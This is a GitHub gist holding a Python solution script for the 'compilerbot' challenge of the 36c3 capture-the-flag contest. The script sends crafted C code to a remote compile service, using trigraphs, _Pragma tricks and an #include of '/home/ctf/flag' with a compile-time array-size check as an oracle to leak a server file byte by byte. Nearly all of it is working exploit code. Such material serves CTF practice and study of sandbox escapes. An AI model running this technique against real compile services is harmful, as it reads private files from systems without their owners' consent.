Created
December 30, 2019 12:50
-
-
Save orikad/fa1ea05fd1bcc70af84cd41a5ddeb4e6 to your computer and use it in GitHub Desktop.
compilerbot solution from 36c3 ctf
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| import socket, base64 | |
| flag = '' | |
| def trycompile(code): | |
| con = socket.create_connection(("88.198.154.157", 8011)) | |
| con.recv(10) | |
| con.sendall(base64.b64encode(code.encode()) + b"\n") | |
| ok = con.recv(10) | |
| return not "Not OK" in ok.decode().strip() | |
| def search_c_at(i, step, start_c): | |
| while True: | |
| s = f"""_Pragma("clang diagnostic push") | |
| _Pragma("clang diagnostic ignored \\"-Wall\\"") | |
| _Pragma("clang diagnostic ignored \\"-Winvalid-pp-token\\"") | |
| return 0; | |
| ??> | |
| ??=define str(x) ??=x | |
| ??=define hxp const char flag[] = str( | |
| ??=include "/home/ctf/flag" | |
| ); | |
| int cond[flag[{i}] > {start_c} ? 2 : -2]; | |
| void k() ??< | |
| _Pragma("clang diagnostic pop") | |
| """ | |
| ok = trycompile(s) | |
| if ok: | |
| start_c += step | |
| else: | |
| return start_c - step | |
| def find_char_at(i, step=60): | |
| char_range = 0 | |
| while step > 1: | |
| char_range = search_c_at(i, step, char_range) | |
| step //= 5 | |
| return search_c_at(i, 1, char_range) + 1 | |
| i = 0 | |
| while not flag.endswith("}"): | |
| flag += chr(find_char_at(i)) | |
| print(flag, end="\r", flush=True) | |
| i += 1 | |
| print("Done! Flag:", flag) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment